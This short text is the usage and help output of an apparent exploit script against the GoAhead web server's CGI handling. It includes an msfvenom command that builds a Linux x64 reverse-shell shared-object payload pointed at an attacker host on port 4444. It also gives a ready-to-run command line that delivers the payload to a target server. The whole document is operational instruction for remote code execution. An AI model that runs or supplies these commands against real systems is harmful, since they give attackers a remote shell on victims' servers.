usage: exploit.py [-h] -rhost RHOST [-rport RPORT] [-cgipath CGIPATH] -payload
                  PAYLOAD

Generate the payload first, eg: 
msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f elf-so -o dir/payload.so

Required arguments:
  -rhost RHOST      Target host running Go Ahead webserver eg. 192.168.92.153
  -payload PAYLOAD  Path to the malicious elf-so payload. eg dir/payload.so

Optional arguments:
  -rport RPORT      Target port running GoAhead webserver. Default: 8080
  -cgipath CGIPATH  The path to a CGI script on the GoAhead server Default: '/cgi-bin' as in http://192.168.92.153/cgi-bin

Call the exploit like this: 
./exploit.py -rhost 192.168.92.153 -rport 8080 -cgipath /cgi-bin/index -payload dir/payload.so
